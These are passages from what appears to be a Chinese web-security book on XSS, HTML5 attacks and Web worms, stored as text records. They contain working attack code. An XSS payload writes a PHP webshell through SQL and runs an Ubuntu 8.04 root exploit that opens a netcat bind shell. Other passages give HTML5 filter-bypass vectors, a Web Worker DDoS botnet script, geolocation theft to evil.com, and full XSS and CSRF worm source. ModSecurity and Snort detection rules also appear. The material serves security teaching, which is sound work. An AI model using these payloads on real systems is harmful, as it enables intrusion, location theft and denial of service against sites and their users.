    {"text": "2. 写Ubuntu 8.04提权shell 这个过程是通过跨站攻击进行Linux提权，得到Linux的root权限，整个攻击要依赖具体的场景。 首先，目标网站所在的操作系统（Linux）需存在提权漏洞，一般情况下，Web服务运行在一个低权限的账号下，攻下Webshell后，可以对Linux文件系统等进行一些低权限的操作，如果存在提权漏洞，有时候通过Webshell可以直接完成提权操作。"},
    {"text": "图7-21 ESCHOP后台执行SQL语句功能 我们后来分析发现，这个网站的ECSHOP使用MySQL的root账号权限连接后端MySQL数据库，默认情况下，MySQL的root账号有权限通过数据库的操作系统操作API进行本地文件的读写操作，但是在写操作的过程中会有一个限制（因为Ubuntu apparmor安全机制的问题），这个场景中可以通过SQL写文件操作往目标网站所在目录的data/目录下写Webshell文件，是目标网站在apparmor的配置中加入了网站目录的写权限。 情况看起来似乎都很顺利，通过XSS执行写文件操作的SQL语句，并且有权限往ECSHOP的data/目录下写，可是这个data/目录的绝对路径是什么？"},
    {"text": "由于我们之前通过目标网站的PHP的一个报错知道了绝对路径，才方便了我们后续的渗透，但是如果不知道绝对路径，也可通过其他方法，如执行SQL获取默认Apache配置文件里网站目录的信息，只是这个过程会导致渗透难度加大。"},
    {"text": "同样是欺骗管理员查看包含XSS脚本的页面后，触发如下代码： function new_form(){ var f = document.createElement(\"form\"); document.body.appendChild(f); f.method = \"post\"; return f; } function create_elements(eForm, eName, eValue){ var e = document.createElement(\"input\"); eForm.appendChild(e); e.type = 'text'; e.name = eName; if(!document.all){e.style.display = 'none';}else{ e.style.display = 'block'; e.style.width = '0px'; e.style.height = '0px'; } e.value = eValue; return e; } var _f = new_form(); create_elements(_f, \"sql\", \"<? passthru($_GET['c']); ?>' into outfile '/var/www/shop/data/tiquan.php';\"); // 写入一句话脚本为tiquan.php文件，方便后续的提权操作 create_elements(_f, \"act\", \"query\"); _f.action= \"http://foo.com/shop/admin/sql.php\"; // 执行SQL查询 _f.submit(); new Image.src=\"http://foo.com/shop/data/tiquan.php?c=echo '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask0;LD_AUDIT=\"libpcprofile.so\" PCPROFILE_OUTPUT=\"/etc/cron.d/exploit\" ping;echo '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit\"; // 最后执行针对Ubuntu 8.04的提权操作 最后这条指令会在目标Web服务器上打开nc后门，nc会监听本地的79端口等待远程连接。"},
    {"text": "7.8.5 大规模XSS攻击思想 当发现一个具有共性的XSS漏洞时，比如某CMS后台的一个存储型XSS，可以通过提交友情链接申请来进行攻击，当管理员登录后台并查看友情链接审核页面时，就会被跨。"},
    {"text": "国内某开源的CMS系统，管理后台的友情链接审核页面存在存储型XSS漏洞，通过Google Hack技巧，可以批量得到这个CMS系统网站： http://www.google.com.hk/search?q=Powered by xxxCMS v3.7 我们写了一个python程序自动化完成这个搜索过程，并获取网站列表，然后批量发送友情链接申请的POST请求，并处于等待状态，当管理员查看友情链接审核页面后，会触发前面提到的xssprobe探针，该探针会收集到Cookies、location等信息。"},
    {"text": "7.9 关于XSS利用框架 本章提到的很多XSS利用技巧实际上可以框架化，框架化的目的是为了使用更加方便，目前很多框架都不够好，我们也期待一个真正适合跨站师实战的框架能够出现，这样更有利于促进前端安全的发展。"},
    {"text": "到目前为止，HTML5规范已经以草案的形式发布，但最终版本的发布还需要很长时间。 在W3C上，HTML5规范草案每几个月就会有一次修订发布。 我们可以发现在规范草案中，很多以前在HTML5规范里的技术都已经被剥离出来单独成为一个规范，比如：Web Storage、Web Workers、Geolocation等。"},
    {"text": "因为在HTML5正式成为官方规范之前，把一部分技术先单独剥离出来进行讨论和编辑是一个很好的方法，即使存在争议，也不会影响整个规范，而且现在业界也更倾向于把现有的功能和被剥离出去的功能一起视为HTML5。"},
    {"text": "8.1.1 跨站中的黑名单策略 1. 对HTML标签做黑名单策略 常见的XSS中用到的HTML标签格式如下： <a href=javascript:… <applet src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4\" type=text/html> <base href=javascript:... <bgsound src=javascript:... <body background=javascript:... <frameset><frame src=\"javascript:...\"></frameset> <iframe src=javascript:... <img src=x onerror=... <input type=image src=javascript:... <layer src=... <link href=\"javascript:...\" rel=\"stylesheet\" type=\"text/css\" <meta http-equiv=\"refresh\" content=\"0;url=javascript:...\" <object type=text/x-scriptlet data=... <script>...</script> <style type=text/javascript>alert('xss')</style> <table background=javascript:... <td background=javascript: <button onmouseover=\"alert(/1/)\" onclick=\"alert(/2/)\"></button> 针对这样的XSS代码，Modsecurity中的检测规则可以写为： SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* \"<(a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|blockquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head|hr|html|i|iframe|ilayer|img|input|ins|isindex|kdb|keygen|label|layer|legend|li|limittext|link|listing|map|marquee|menu|meta|multicol|nobr|noembed|noframes|noscript|nosmartquotes|object|ol|optgroup|option|p|param|plaintext|pre|q|rt|ruby|s|samp|script|select|server|shadow|sidebar|small|spacer|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|wbr|xml|xmp)\\W\" \\ \"phase:2,rev:'2.0.5',id:'973300',capture,t:none,t:jsDecode,t:lowercase,pass,nolog,auditlog,msg:'Possible XSS Attack Detected - HTML Tag Handler',logdata:'%{TX.0}',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}\" Snort中的检测规则可以写为： alert tcp any any -> any 80 (msg:\"XSS 攻击识别\"; pcre:\"/<(a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|denyquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head|hr|html|i|iframe|ilayer|img|input|ins|isindex|kdb|keygen|label|layer|legend|li|limittext|link|listing|map|marquee|menu|meta|multicol|nobr|noembed|noframes|noscript|nosmartquotes|object|ol|optgroup|option|p|param|plaintext|pre|q|rt|ruby|s|samp|script|select|server|shadow|sidebar|small|spacer|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|wbr|xml|xmp)\\W/iU\"; sid:10001; rev:1;) 2. 对HTML标签属性做黑名单策略 下面以on打头的标签属性为例，格式如下： <body onload=…> <img src=x onerror=...> Modsecurity中的检测规则可以写为： SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* \"\\bon(abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mousedown|mousemove|mouseout|mouseover|mouseup|move|readystatechange|reset|resize|select|submit|unload)\\b\\W*?=\" \\ \"phase:2,rev:'2.0.5',id:'973303',capture,t:none,t:lowercase,pass,nol og,auditlog,msg:'XSS Attack Detected',logdata:'%{TX.0}',setvar:'tx.msg=% {rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anom aly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS%{matched_var_name}=%{tx.0}\" Snort中的检测规则可以写为： alert tcp any any -> any 80 (msg:\"XSS攻击识别\"; pcre:\"/\\bon(abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mousedown|mousemove|mouseout|mouseover|mouseup|move|readystatechange|reset|resize|select|submit|unload|bounce|start|loadedmetadata|durationchanged|timeupdate)\\b\\W*?=(alert|document|location)/iU\"; sid:10002; rev:2;) 8.1.2 新元素突破黑名单策略 从8.1.1节中的Modsecurity和Snort规则不难发现，绕过这种黑名单策略，一种情况就是跨站师使用变形后的代码绕过正则表达式的语义范围，如果正则表达式书写非常严谨，那么就很难绕过。"},
    {"text": "在这些标签中可以执行XSS代码： <video onerror=javascript:alert(1)><source> <audio onerror=javascript:alert(1)><source> <video><source onerror=\"javascript:alert(1)\"> <audio><source onerror=\"javascript:alert(1)\"> <video src=\"some_valid_video\" onloadedmetadata=\"alert(1)\" ondurationchanged =\"alert(2)\" ontimeupdate=\"alert(3)\"></video> 2. 新属性 HTML5中可以利用到的新属性有formaction、onformchange、onforminput、autofocus等，在这些属性中可以执行XSS代码： <form id=\"test\" /><button form=\"test\" formaction=\"javascript:alert(1)\">X <form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X <input onfocus=write(1) autofocus> 很明显，这些使用HTML5代码进行的XSS攻击，使用上面提到的Modsecurity和Snort规则是无法检测到的。"},
    {"text": "length：返回浏览器历史列表中的URL数量。 back()：加载history列表中的前一个URL。 forward()：加载history列表中的后一个URL。 go([delta])：加载history列表中的某个具体页面。"},
    {"text": "随着Twitter等微博的兴起，短地址服务也渐渐流行起来。 现在国内的微博中，都会使用短地址服务，毕竟一条微博只能输入140个字，短地址服务大大压缩了网址所占的空间。"},
    {"text": "使用bit.ly短地址服务可进行网址转换，如表8-1所示。 表8-1 短地址转换 原网址 http://hi.baidu.com/xisigr/blog/item/cb6aecc9a61ee10a7e3e6f32.html 转换后的网址 http://bit.ly/rFNVDw 不难发现，当用户单击短地址的时候，并不知道它指向哪里，此时攻击者就可以利用短地址这个特性，把注入恶意代码的网站转换为短地址，用户单击这个短地址后，就会遭到攻击。 例如，表8-2中的这个短地址转换，在恶意URL网址中，appid参数后面就是我们注入的跨站测试代码。 为了隐藏URL中的跨站代码，可以使用短地址服务http://bit.ly/将其转换为短地址，转换后的短地址为http://bit.ly/qxJuSF。"},
    {"text": "表8-2 恶意短地址转换 恶意URL网址 http://mail.test.com/?userid=&appid=<script>document.write(1)</script> 转换后的网址 http://bit.ly/qxJuSF 此时，你也许会认为这样的隐藏太完美了。 其实它也存在不足，当用户单击http://bit.ly/qxJuSF后，在浏览器的URL地址栏中仍会呈现http://mail.test.com/?userid=&appid=<script> document. write(1)</script>地址。"},
    {"text": "表8-3 恶意短地址转换隐藏技巧1 恶意URL网址 http://mail.test.com/?userid=&appid=<script>history.pushState({},'', location.href.split(\"?\").shift());document.write(1)</script> 转换后的网址 http://bit.ly/uYAqsC 表8-4 恶意短地址转换隐藏技巧2 恶意URL网址 http://mail.test.com/?userid=&appid=<script>history.replaceState({},'', location.href.split(\"?\").shift());document.write(1)</script> 转换后的网址 http://bit.ly/tKJvnY 当用户单击短地址链接后，看到浏览器中的URL将会被替换为http://www.mail.test.com/。"},
    {"text": "8.2.3 伪造历史记录 在Chrome浏览器中打开以下脚本程序： <script> for(i=0;i<=100;i++){history.pushState({},\"\",\"/\"+i+\".html\"); </script> 然后在Chrome浏览器中查看历史记录，可以看到有很多历史记录信息，如图8-1所示，而这些链接信息用户其实根本没有访问过。 图8-1 Chrome下伪造历史记录 通过这个例子我们可以看到，使用history.pushState可以对浏览器的历史记录进行伪造，而且也可以对历史记录发起DoS攻击。"},
    {"text": "8.3 HTML5下的僵尸网络 僵尸网络（英文名为Botnet）是指，通过各种手段在大量的计算机中植入特定的恶意程序，使控制者能够通过相对集中的若干计算机直接向大量计算机发送指令的攻击网络。"},
    {"text": "现在我们设想一下网络中是否可以存在这样一个僵尸节点：用户在日常上网时打开一个正常的网页浏览，但在用户不知情的情况下，此网页的背后正在疯狂地向外发送大量的数据请求，此时攻击源实际上就是用户的浏览器。"},
    {"text": "8.3.1 Web Worker的使用 HMTL 5中的Web Worker可以让Web应用程序具备后台处理能力，比如，让Worker进行并行计算、后台I/O操作等，而且对多线程支持非常好，简单的示例代码如下： <script> var worker = new Worker(\"worker.js\"); // 新建一个worker worker.postMessage(\"hello world\"); worker.onmessage = function(evt){ console.log(evt.data); } </script> 只要在主页面加上一句new Worker(\"worker.js\")，那么worker.js就会另外开辟一个新的线程在主页面的后台运行，主线程和新线程之间数据交换的接口使用postMessage()和onmessage进行通信。"},
    {"text": "Web Worker不会导致浏览器UI停止响应，短暂的Worker操作不会让用户察觉，但如果是长时间大量的Worker运算操作，则会消耗CPU周期，使系统变慢，用户可能会看到CPU始终保持在高位。"},
    {"text": "8.3.3 一个HTML5僵尸网络实例 后台运行加上跨域请求，网络僵尸的请求模型就形成了。 下面给出一个实际的案例，即HTML5下的Web Worker+CORS造就的僵尸网络。"},
    {"text": "每个僵尸节点浏览器请求的页面代码如下： <style> #page {width: 100%; height: 100%;} body{margin:0} </style> <script type=\"text/javascript\"> var target = 'http://www.target.com'; // 要进行DDoS攻击的网站 var worker_loc = 'worker.js'; </script> <script type=\"text/javascript\" src=\"run_worker.js\"> </script> </head> <body> <iframe id=\"page\" name=\"page\" src=\"http://www.example.com\" frameborder=\"0\" noresize=\"noresize\" style=\"overflow:visible\"></iframe> //使iframe内嵌网站全屏显示 </body> run_worker.js代码控制运行的worker数量，关键代码如下： // ... var worker_loc= 'worker.js'; var workers = new Array(); var i = 0; var noWorker = typeof Worker == \"undefined\" ? true : false; if (!noWorker) { try { for (i = 0; i <= 0; i++) { workers[i] = new Worker(worker_loc); workers[i].postMessage(target); } } catch (e) { //comment out in release e = e + \"\"; alert(e); if (e.indexOf(\"Worker is not enabled\") != -1) { noWorker = true; } } } // ... worker.js代码：后台发送大量的跨域POST请求（CORS），关键部分的代码如下： // ... function makeRequest() { //make a new URL and request it via POST var fullUrl = makeURL(); var httpRequest = new XMLHttpRequest(); httpRequest.open(\"POST\", fullUrl, true); httpRequest.setRequestHeader(\"Content-Type\", \"text/plain; charset=utf-8\"); httpRequest.onreadystatechange = infoReceived; httpRequest.onerror = err; httpRequest.send(post_data); } function dos() {//批量发起500次跨域请求 var i = 0; for (i = 0; i < 500; i++) { makeRequest(); } } self.onmessage = function (e) { base = e.data; dos(); } // ... 通过这样一个模型，每个僵尸节点的浏览器将会高效地发送大量请求，如果能控制成千上万个僵尸节点，那么这样的拒绝服务攻击威力就比较大了。"},
    {"text": "8.4 地理定位暴露你的位置 现在在网络中常常会遇到这样的场景：我们需要查看周边有什么特色景点或者是特色餐饮，那么使用HTML5 Geolocation API（地理定位API），就可以请求用户共享自己的地理位置，如果用户同意，程序就可以定位到用户的地理位置，然后把附近的景点或餐饮位置发送给用户。"},
    {"text": "下面将要讨论HTML5中Geolocation API自有的隐私保护机制，以及地理位置遭到泄漏的可能性。 8.4.1 隐私保护机制 HTML5中的地理定位有自身的一套隐私保护机制，如果用户不同意，就无法获取用户的地理位置。"},
    {"text": "如图8-2所示，xeye.us/whereareyou.html是一个可以获取用户地理位置的脚本程序。 当用户打开后，在浏览器上会有提示“xeye.us要跟踪您的地理位置”。"},
    {"text": "除了询问是否允许共享地理位置外，浏览器还会选择性地提示用户是否需要浏览器记住这些网站的设置权限，以便下次再访问的时候直接选择共享地理位置，而不需要再次提示。"},
    {"text": "8.4.2 通过XSS盗取地理位置 如果获取地理位置的页面中存在XSS漏洞，那么攻击者就可以注入恶意代码获取到用户的地理位置信息。 注入XSS代码如下： <script> var today = new Date().toLocaleString() + ' 星期' + '日一二三四五六'.charAt (new Date().getDay()); document.getElementById('remote').src = \"http://www.evil.com/test.php?txt=\" + today + \"------\" + encodeURIComponent (position.coords.latitude) + \",\" + encodeURIComponent(position.coords.longitude); </script> <img id=\"remote\" src=\"\" width=0 height=0> test.php代码如下： <?php $fh = fopen(\"file.txt\", 'a+'); fwrite($fh,$_GET[\"txt\"]); fwrite($fh,\"\\r\\n\"); fclose($fh); ?> 当用户选择了共享地理位置后，地理位置的信息就会悄悄地保存到下列文件中： http://www.evil.com/file.txt 我们在实际的攻击过程中发现，很多用户在这方面的意识是非常浅薄的，获取这类真实的地理信息比较容易。"},
    {"text": "第9章 Web蠕虫 我们知道，一提到Web蠕虫，很多人的脑海里就会想到PC上的蠕虫，虽然这两种蠕虫所处的环境不一样，但它们具有许多相似的性质，比如传播性、感染性、病毒恶意行为等。"},
    {"text": "而由此特性衍生出了Web 2.0网站特有的一些安全问题，其中就有Web蠕虫风险。 蠕虫的一个特性就是传播性，对于Web蠕虫来说，传播的媒介就是Web 2.0网站的浏览器客户端，而传播的基石则是广大用户。 第1章描述了浏览器的安全策略，一般情况下，除非遭遇浏览器漏洞，否则Web蠕虫传播不会脱离出浏览器平台，这对操作系统安全研究的人来说，危害似乎就不大了，他们可能会这样想：“危害没到操作系统层面，一切都没影响！"},
    {"text": "本章会对Web蠕虫的主要三类（XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫）进行详细剖析。 9.1 Web蠕虫思想 1. Web蠕虫的类别 Web蠕虫主要包括：XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫，这三类蠕虫都与具体的漏洞风险有关系，从名字上很好区分。"},
    {"text": "2. Web蠕虫思想 Web蠕虫的思想很简单，就是用户参与，而Web 2.0网站正好具备这个条件，比如，以人人网、开心网为代表的SNS网站（其用户关系如图9-1所示），以新浪微博、腾讯微博为代表的微博网站，以新浪博客、百度空间为代表的博客网站等。"},
    {"text": "图9-1 SNS用户关系 我们重点介绍的这些蠕虫除了利用的漏洞不一样，其本质是一样的，都是使参与进Web 2.0交互的用户受到了欺骗，导致被动或主动（或介于两者之间）地传播了威胁。"},
    {"text": "比如文本蠕虫，相信很多人都遇到过这样的场景：收到一封E-mail，而且是好友转发来的，如一封祝福邮件，最后会提醒你转发10位好友，如果转发了会得到上天祝福，如果不转发，说明你不够朋友，有的甚至会诅咒不转发的人。 大家可以看到，传播这样的内容是我们主动去操作完成的，这样的内容传播利用了大众的心理，在心理作用的驱使下去传播，我们称之为文本蠕虫。"},
    {"text": "病毒行为：会进行一些恶意操作，在Web层面的浏览器客户端进行的逻辑操作主要就是JavaScript脚本，这些恶意操作也主要由JavaScript脚本发起各种恶意的HTTP请求。"},
    {"text": "被感染的用户是登录状态，这样XSS的权限就是登录后的权限，能执行更多恶意的操作。 XSS蠕虫传播利用的关键功能本身具备内容传播性，也就是说，如果一个功能本身生成的内容无法让其他用户看到，那么蠕虫传播就封闭住了，也就不是蠕虫了，这样的封闭功能有很多，比如管理员后台的消息功能。 那么XSS蠕虫的原理就是：目标Web 2.0网站（包括具有高交互性的邮箱服务）存在XSS漏洞，当被攻击用户查看存在XSS蠕虫代码的内容时，蠕虫触发并开始感染传播。"},
    {"text": "3. 一个故事 XSS蠕虫传播的故事是这样开始的：和所有邪恶的场景开始一样，这是一个月黑风高的夜晚，黑客开始观察这个本是太平宁静的Web 2.0世界，在里面，用户之间交流甚欢，比如，写写文章、留点评论、发个私信等。"},
    {"text": "黑客很快发现文章日志中存在XSS漏洞，迅速编写了XSS蠕虫代码，并随着一篇具有高度诱惑性的文章一同发了出去。 黑客的好友们被诱惑点击查看了这篇文章，XSS蠕虫开始执行各种恶意的HTTP请求，其中有一个就是传播自身的代码到被攻击用户的文章中（比如，自动发布了与这篇高度诱惑性文章一样的文章）。"},
    {"text": "这个经典的模式就是2005年11月4号MySpace XSS蠕虫的模式，凌晨0:34开始，短短5小时后，感染了一百多万个用户，并在每个用户的个人签名档中添加了一段文字“but most of all, samy is my hero”，如图9-2所示。"},
    {"text": "图9-2 MySpace XSS蠕虫：samy is my hero 9.2.2 危害性 我们之所以一直很重视蠕虫攻击，是因为它们带来的危害可以很大，这不局限于XSS蠕虫，不过XSS蠕虫有自己的特性，而且往往也是攻击者最喜欢的一类，因为XSS蠕虫的权限大（一般情况下，Web用户有多大权限，它就有多大权限）。"},
    {"text": "这对目标网站来说是一个巨大的打击，虽然可能可以通过数据恢复来回滚这些数据，但肯定会有数据的遗失，最重要的是，目标网站将面临巨大的信任危机。"},
    {"text": "2. 拒绝服务攻击 XSS蠕虫可以对目标网站服务进行大面积的拒绝服务攻击，导致用户无法正常使用网站功能，例如，下面的这些情况： 让用户自动注销网站会话，这样就无法正常使用网站需要身份认证的功能。"},
    {"text": "3. 分布式拒绝服务攻击 分布式拒绝服务攻击（DDoS）与拒绝服务攻击（DoS）不一样，分布式拒绝服务攻击的目标是其他网站，XSS蠕虫的每个被感染用户在地理位置上可能分布在全国各个位置，甚至世界各个位置。"},
    {"text": "如果XSS蠕虫执行下列代码： var ddosIframe = document.createElement(\"iframe\"); ddosIframe.style.width = 0; ddosIframe.style.height = 0; ddosIframe.src = 'http://www.targetsite.com/'; document.body.appendChild(ddosIframe); 该代码自动创建一个iframe对象，并将地址指向被攻击的网站。 如果被XSS蠕虫感染的用户同时发起了这个HTTP请求，被攻击网站就遭遇了DDoS，HTTP层面的DDoS算是最简单的一种。"},
    {"text": "4. 散播广告 在流量大的网站做广告，其费用是非常高的，对XSS蠕虫来说，做这件事的价值也非常大，要嵌入广告很容易，一个iframe或者script就可以在页面的任意位置嵌入广告，甚至可以劫持页面现有广告的链接指向自己关心的广告页，这样当用户点击页面正常的广告时，实际上访问的是攻击者准备好的广告页。"},
    {"text": "一般情况下，网马是利用浏览器与浏览器插件漏洞（最臭名远昭的就是IE的ActiveX控件）进行本地攻击的，将网马内的二进制数据或脚本病毒植入操作系统本地执行，本来在Web层面上的威胁，通过这些漏洞蔓延到了操作系统层面。"},
    {"text": "我们曾分析过为什么如此显而易见的安全威胁没被利用或者重视起来，网马背后是一个成熟的技术链与利益链，XSS蠕虫对这条链来说还不够成熟，或者这条链上关键的一些技术人物没有这方面的积累，而现有的却足够满足他们的需求，比如，现在我们还能随时捕获到MS06014网马攻击，这是2006年的IE 6浏览器远程命令执行漏洞——一个非常漂亮的逻辑漏洞。"},
    {"text": "6. 传播舆情 如果利用XSS蠕虫进行舆情引导，无论是低俗、诋毁，还是政治阴谋等，都可以带来很大影响，恐怕这些都是Web 2.0网站不得不及时出手制止的。"},
    {"text": "9.2.3 SNS社区XSS蠕虫 我们以曾经的UChome XSS蠕虫为例进行说明，实际上很多原理性的知识在前面都提到过，这里直接看代码注释即可，当时的漏洞位置在主题编辑处（CSS自定义）。"},
    {"text": "既然有字符长度限制（50个），那么我们就在文章内容中构造下列代码： <script defer>eval($('#xxx').html())</script>（少于50个字符） 这段代码是借用此SNS网站的jQuery框架的一些方法，后面的蠕虫代码也都将借用这些方法（依环境而生，保持蠕虫的苗条）。"},
    {"text": "接下来的文章内容是： xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<span id=xxx style=display:none>(function(){alert(escape($('.article-maintext').html()));v=\"%3Cform%20action=http://www.xxx.com/article/index.php?m=add&action=join%20method=post%3E%3Cinput%20name=subject%20type=hidden%20value=cool%3E%3Cinput%20name=contents%20type=hidden%20value=%22\"[color=#FF0000]%2bescape($('.article-maintext').html())%2b[/color]\"%22%3E%3Cinput%20name=status%20type=hidden%20value=4%3E%3Cinput%20name=article_dir%20type=hidden%20value=402683%3E%3C/form%3E\";v=unescape(v);$(v).appendTo(\"body\");document.forms[2].submit();})()</span> 这些内容存在于<span>标签内，它是不会过滤的，并且我们设置了display的值为none，让<span>内的值对用户不可见。"},
    {"text": "这样就可以将所有的JavaScript以这种形式存放在这个SNS网站上，我们只要使用文章内容前面的<script defer>eval($('#xxx').html())</script>来读取出id为xxx的<span>标签里的值，并执行即可。"},
    {"text": "9.2.5 蠕虫需要追求原生态 我们可以想象一下一个Web 2.0网站（比如：人人网、新浪微博），在同域下，它是一个独立的生态系统，决定这个生态系统的运作流程就是JavaScript。"},
    {"text": "这些框架封装了太多优秀的函数，对XSS来说，直接调用就好，可以省去许多自定义代码的麻烦，而且可以大大减小XSS蠕虫的大小，这样的XSS蠕虫就是原生态的。 1. 代码的原生态 XSS蠕虫最常用的就是使用AJAX在后台悄悄地传输数据，发起各种邪恶的HTTP请求，如果目标Web 2.0网站使用jQuery框架，只需要如下简单的代码，就可以使用AJAX。 $.ajax({type:\"post\", // type默认为get请求 async:false, // 默认为true，表示异步传输数据，否则为同步传输 url:\"/blog/add\", // 提交地址 data:{'title':'hi', 'content':'xss worm here:P'}, // 字典结构的data值 success: function(data, text_status){ alert(data); // 提交成功后做的事…… }, }); 就上述几行简单的代码就可以发起GET或POST的AJAX请求，而且使用原生态的框架还有一个好处，它帮我们处理了各种浏览器兼容的问题。 我们还可以这样发起GET的AJAX请求： $.get(\"/blog/del\", {id:1}, function (data, textStatus){ alert(data); }); 或者，这样发起POST的AJAX请求： $.post(\"blog/add\",{'title':'hi', 'content':'xss worm here:P'},function(data, textStatus){ alert(data); }); 是不是非常简洁？"},
    {"text": "表9-1 原生函数与DOM函数 操作 常规方法 jQuery方法 获取id值为hi的DOM对象 document.getElementById('hi') $('#hi') 获取class值为hi的DOM对象 这个需要遍历DOM树，然后筛选出class值为hi的对象…… $('.hi') 获取所有的input标签对象 document.getElementsByTagName('input') $('input') ... ... ... 有如此强大的原生态资源可利用，攻击起来就非常方便了。 2. 攻击效果的原生态 除了代码的原生态，还有攻击效果的原生态，比如，如果要实施高级钓鱼攻击，那些DIV框、UI组件都是可以直接调用一些高度封装的JavaScript函数来生成，比如图9-3所示的DIV弹出框。"},
    {"text": "图9-3 优美的UI组件\n9.3 CSRF蠕虫 9.3.1 关于原理和危害性 CSRF蠕虫的原理和XSS蠕虫基本类似，只是这里用到的是CSRF，攻击代码存在于攻击者页面中，目标网站传播的内容都包含攻击者页面URL，这样才能诱惑目标网站上的被攻击者打开攻击者页面，然后触发CSRF，CSRF会继续跨域发布含攻击者页面URL的内容进行传播。"},
    {"text": "这个过程和XSS蠕虫不一样的是：XSS蠕虫的攻击代码本质上是存放在目标网站上的，即使是<script>从攻击者域上引用进来，对JavaScript上下文来说，也属于目标网站。"},
    {"text": "9.3.2 译言CSRF蠕虫 译言网（www.yeeyan.org）的定位是“发现翻译阅读中文之外的互联网精华”，是一个定位很专一的SNS网站，其用户参与度较高。"},
    {"text": "这是2008年发起的一次CSRF蠕虫攻击，这种传播模式当时大家并未知晓，算是一次非常新颖的探索过程，下面直接摘录了当时记录的文字，供大家参考。"},
    {"text": "只需要一个链接，类似于http://www.evilsite.com/yeeyan.asp，发送到你的译言账户的个人空间留言板，欺骗用户点击后，就可以很快传播（向被“感染”用户的每个好友的留言板上发送相同的信息，发送方是那些因为好奇而单击CSRF链接的人）。"},
    {"text": "yeeyan.asp代码如下： <% 'author: Xlaile 'date: 2008-09-21 'this is the CSRF Worm of www.yeeyan.com r = Request.ServerVariables(\"HTTP_REFERER\") If instr(r,\"http://www.yeeyan.com/space/show\") > 0 Then Function regx(patrn, str) Dim regEx, Match, Matches Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(str) For Each Match in Matches RetStr = RetStr & Match.Value & \" | \" Next regx = RetStr End Function Function bytes2BSTR(vIn) dim strReturn dim i1,ThisCharCode,NextCharCode strReturn = \"\" For i1 = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i1,1)) If ThisCharCode <&H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i1+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i1 = i1 + 1 End If Next bytes2BSTR = strReturn End Function id = Mid(r,34) furl = \"http://www.yeeyan.com/space/friends/\" + id Set http=Server.CreateObject(\"Microsoft.XMLHTTP\") http.Open \"GET\",furl,False http.Send ftext = http.ResponseText fstr = regx(\"show/(\\d+)?\"\">[^1-9a-zA-Z]+<img\",ftext) farray = Split(fstr , \" | \") Dim f(999) For i = 0 To ubound(farray) - 1 f(i) = Mid(farray(i),6,Len(farray(i))-16) Next Set http=Nothing s = \"\" For i = 0 To ubound(farray) - 1 s = s + \"<iframe width=0 height=0 src='yeeyan_iframe.asp?id=\" & f(i) & \"'></iframe>\" Next Response.write(s) ' Set http=Server.CreateObject(\"Microsoft.XMLHTTP\") ' http.open \"POST\",\"http://www.yeeyan.com/groups/newTopic/\",False ' http.setrequestheader \"Content-Type\",\"application/x-www-form-urlencoded\" ' c = \"hello\" ' cc = \"data[Post][content]=\" & c & \"&\" & \"ymsgee=\" & f(0) & \"&\" & \"ymsgee_username=\" & f(0) ' http.send cc End If %> yeeyan_iframe.asp代码如下： <% 'author: Xlaile 'date: 2008-09-21 'this is the CSRF Worm of www.yeeyan.com id = Request(\"id\") s = \"<form method='post' action='http://www.yeeyan.com/groups/newTopic/'onsubmit='return false'>\" s = s+\"<input type='hidden' value='The delicious Tools for yeeyan translation: http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>\" s = s+\"<input type='hidden' value=\" + id + \" name='ymsgee'/>\" s = s+\"<input type='hidden' value=\" + id + \" name='ymsgee_username'/>\" s = s+\"</form>\" s = s+\"<script>document.forms[0].submit();</script>\" Response.write(s) %> 导致出现CSRF的原形（yeeyan.asp发生作用后的客户端源码），相关截图如图9-4所示。"},
